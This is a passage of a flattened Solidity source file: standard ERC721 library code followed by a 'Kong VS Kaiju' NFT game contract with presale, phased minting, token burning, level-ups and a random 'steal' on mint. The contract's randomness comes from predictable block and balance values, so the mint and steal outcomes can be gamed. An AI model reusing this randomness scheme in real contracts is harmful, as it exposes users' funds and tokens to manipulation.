{xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // IERC165 pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; //ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // IERC721 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } //ERC721 pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // ERC721Enumerable pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } //Kong VS Kaiju Game interface IGAMMA { function balanceOf(address owner) external view returns (uint); function burn(address account, uint amount) external; } interface ISkullisland { function randomkongOwner() external returns (address); function addTokensToStake(address account, uint16[] calldata tokenIds) external; } contract KongKaiju is ERC721Enumerable, Ownable { uint public MAX_SUPPLY = 5000; uint constant public MAX_Mint = 5; bool public WhiteListIsActive = false; uint public MAX_WL_PURCHASE = 2; uint public MAX_LEVEL = 10; uint public tokensMinted = 0; uint16 public phase = 1; uint16 public kongStolen = 0; uint16 public KaijuStolen = 0; uint16 public kongMinted = 0; bool private _paused = true; mapping(uint16 => uint) public phasePrice; ISkullisland public skullIsland; IGAMMA public Gamma; string private _baseapiURI; mapping(uint16 => bool) private _iskong; mapping (address => bool) whitelist; mapping (address => bool) OGlist; mapping(address => uint256) public minted; mapping(uint16 => uint16) public TokenIdLevel; uint16[] private _availableTokens; uint16 private _randomIndex = 0; uint private _randomCalls = 0; uint public LEVEL_COST = 10000 ether; mapping(uint16 => address) private _TopEXAddress; event TokenStolen(address owner, uint16 tokenId, address thief); constructor() ERC721("Kong VS Kaiju Game - KVK", "KVK") { // Set mint sales switchToSalePhase(1, true); // Set default price for each phase phasePrice[1] = 0.05 ether; phasePrice[2] = 20000 ether; phasePrice[3] = 40000 ether; phasePrice[4] = 80000 ether; // Use top exchange and miner addresses to get random number. Changes every second _TopEXAddress[0] = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8; _TopEXAddress[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; _TopEXAddress[2] = 0xf66852bC122fD40bFECc63CD48217E88bda12109; _TopEXAddress[3] = 0x267be1C1D684F78cb4F6a176C4911b741E4Ffdc0; _TopEXAddress[4] = 0x28C6c06298d514Db089934071355E5743bf21d60; } function isEligiblePrivateSale(address _wallet) public view virtual returns (bool){ return whitelist[_wallet]; } function isEligibleOGSale(address _wallet) public view virtual returns (bool){ return OGlist[_wallet]; } function addWalletsToWhiteList(address[] memory _wallets) public onlyOwner{ for(uint i = 0; i < _wallets.length; i++) { whitelist[_wallets[i]] = true; } } function addWalletsToOGList(address[] memory _wallets) public onlyOwner{ for(uint i = 0; i < _wallets.length; i++) { OGlist[_wallets[i]] = true; } } function getSomeRandomNumber(uint _seed, uint _limit) internal view returns (uint16) { uint extra = 0; for (uint16 i = 0; i < 5; i++) { extra += _TopEXAddress[_randomIndex].balance; } uint random = uint( keccak256( abi.encodePacked( _seed, blockhash(block.number - 1), block.coinbase, block.difficulty, msg.sender, tokensMinted, extra, _randomCalls, _randomIndex ) ) ); return uint16(random % _limit); } function mintPrice(uint _amount) public view returns (uint) { return _amount * phasePrice[phase]; } function iskong(uint16 id) public view returns (bool) { return _iskong[id]; } function flipWLSaleState() public onlyOwner { WhiteListIsActive = !WhiteListIsActive; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function setPaused(bool _state) external onlyOwner { _paused = _state; } function setMAX_SUPPLY(uint _max) external onlyOwner { MAX_SUPPLY = _max; } function setMAX_LEVLE(uint _level) external onlyOwner { MAX_LEVEL = _level; } function setLEVEL_COST(uint _levelcost) external onlyOwner { LEVEL_COST = _levelcost; } function paused() public view virtual returns (bool) { return _paused; } function addAvailableTokens(uint16 _from, uint16 _to) public onlyOwner { internalAddTokens(_from, _to); } function internalAddTokens(uint16 _from, uint16 _to) internal { for (uint16 i = _from; i <= _to; i++) { _availableTokens.push(i); } } function GetTokenIdLevel(uint16 _tokenID) public view returns (uint16) { return TokenIdLevel[_tokenID]; } function LevelUp(uint16 _tokenID) public payable whenNotPaused { require(TokenIdLevel[_tokenID] < MAX_LEVEL, "All level reached "); uint Gammacost = 0; Gammacost = (TokenIdLevel[_tokenID] + 1) * LEVEL_COST; require(Gamma.balanceOf(msg.sender) >= Gammacost, "Not enough GAMMA"); if (Gammacost > 0) { Gamma.burn(msg.sender, Gammacost); TokenIdLevel[_tokenID] ++; } } function switchToSalePhase(uint16 _phase, bool _setTokens) public onlyOwner { phase = _phase; if (!_setTokens) { return; } if (phase == 1) { internalAddTokens(1, 4999); } else if (phase == 2) { internalAddTokens(5000, 10000); } else if (phase == 3) { internalAddTokens(10001, 20000); } else if (phase == 4) { internalAddTokens(20001, 29999); } } function Reserve(uint _amount, address _address) public onlyOwner { require(tokensMinted + _amount <= MAX_SUPPLY, "All tokens minted"); require(_availableTokens.length > 0, "All tokens for this Phase are already sold"); for (uint i = 0; i < _amount; i++) { uint16 tokenId = getTokenToBeMinted(); _safeMint(_address, tokenId); tokensMinted ++; } } function presaleWL(uint _amount, bool _stake) public payable { require(WhiteListIsActive, "Pre Sale must be active to mint tokens"); require(whitelist[msg.sender] || OGlist[msg.sender], "You are not in whitelist"); require(tx.origin == msg.sender, "Only EOA"); require(tokensMinted + _amount <= MAX_SUPPLY, "All tokens minted"); require(_availableTokens.length > 0, "All tokens for this Phase are already sold"); if (OGlist[msg.sender]) { MAX_WL_PURCHASE = 3; } require(minted[msg.sender] + _amount <= MAX_WL_PURCHASE, "Max 3 tokens per wallet"); require(mintPrice(_amount) == msg.value, "Invalid payment amount"); tokensMinted += _amount; uint16[] memory tokenIds = _stake ? new uint16[](_amount) : new uint16[](0); for (uint i = 0; i < _amount; i++) { uint16 tokenId = getTokenToBeMinted(); if (getSomeRandomNumber(tokenId, 100) <= 10) { _iskong[tokenId] = true; // 10% to be Kong } if (_iskong[tokenId]) { kongMinted += 1; } if (!_stake ) { _safeMint(msg.sender, tokenId); } else { _safeMint(address(skullIsland), tokenId); tokenIds[i] = tokenId; } minted[msg.sender]++; } if (_stake) { skullIsland.addTokensToStake(msg.sender, tokenIds); } } function mint(uint _amount, bool _stake) public payable whenNotPaused { require(tx.origin == msg.sender, "Only EOA"); require(tokensMinted + _amount <= MAX_SUPPLY, "All tokens minted"); require(_amount > 0 && _amount <= MAX_Mint, "Invalid mint amount"); require(_availableTokens.length > 0, "All tokens for this Phase are already sold"); uint Gammacost = 0; if (phase == 1) { // Mint sales require(mintPrice(_amount) == msg.value, "Invalid payment amount"); } else { // Mint via token burn require(msg.value == 0, "Now minting is done via GAMMA"); Gammacost = mintPrice(_amount); require(Gamma.balanceOf(msg.sender) >= Gammacost, "Not enough GAMMA"); } if (Gammacost > 0) { Gamma.burn(msg.sender, Gammacost); } tokensMinted += _amount; uint16[] memory tokenIds = _stake ? new uint16[](_amount) : new uint16[](0); for (uint i = 0; i < _amount; i++) { address recipient = selectRecipient(); if (phase != 1) { updateRandomIndex(); } uint16 tokenId = getTokenToBeMinted(); if (getSomeRandomNumber(tokenId, 100) <= 10) { _iskong[tokenId] = true; // 10% to be Kong } if (_iskong[tokenId]) { kongMinted += 1; } if (recipient != msg.sender) { _iskong[tokenId] ? kongStolen += 1 : KaijuStolen += 1; emit TokenStolen(msg.sender, tokenId, recipient); } if (!_stake || recipient != msg.sender) { _safeMint(recipient, tokenId); } else { _safeMint(address(skullIsland), tokenId); tokenIds[i] = tokenId; } } if (_stake) { skullIsland.addTokensToStake(msg.sender, tokenIds); } } function selectRecipient() internal returns (address) { if (phase == 1) { return msg.sender; // no chance to steal NTF during sales } if (getSomeRandomNumber(kongMinted, 100) >= 10) { return msg.sender; // 90% chance to keep NFT } address thief = skullIsland.randomkongOwner(); if (thief == address(0x0)) { return msg.sender; } return thief; } function changePhasePrice(uint16 _phase, uint _weiPrice) external onlyOwner { phasePrice[_phase] = _weiPrice; } function getTokenToBeMinted() private returns (uint16) { uint random = getSomeRandomNumber(_availableTokens.length, _availableTokens.length); uint16 tokenId = _availableTokens[random]; _availableTokens[random] = _availableTokens[_availableTokens.length - 1]; _availableTokens.pop(); return tokenId; } function updateRandomIndex() internal { _randomIndex += 1; _randomCalls += 1; if (_randomIndex > 6) _randomIndex = 0; } function shuffleSeeds(uint _seed, uint _max) external onlyOwner { uint shuffleCount = getSomeRandomNumber(_seed, _max); _randomIndex = uint16(shuffleCount); for (uint i = 0; i < shuffleCount; i++) { updateRandomIndex(); } } function setskullIsland(address _island) external onlyOwner { skullIsland = ISkullisland(_island); } function setGamma(address _Gamma) external onlyOwner { Gamma = IGAMMA(_Gamma); } function setkongId(uint16 id, bool special) external onlyOwner { _iskong[id] = special; } function setkongIds(uint16[] calldata ids) external onlyOwner { for (uint i = 0; i < ids.length; i++) { _iskong[ids[i]] = true; } } function transferFrom(address from, address to, uint tokenId) public virtual override { // 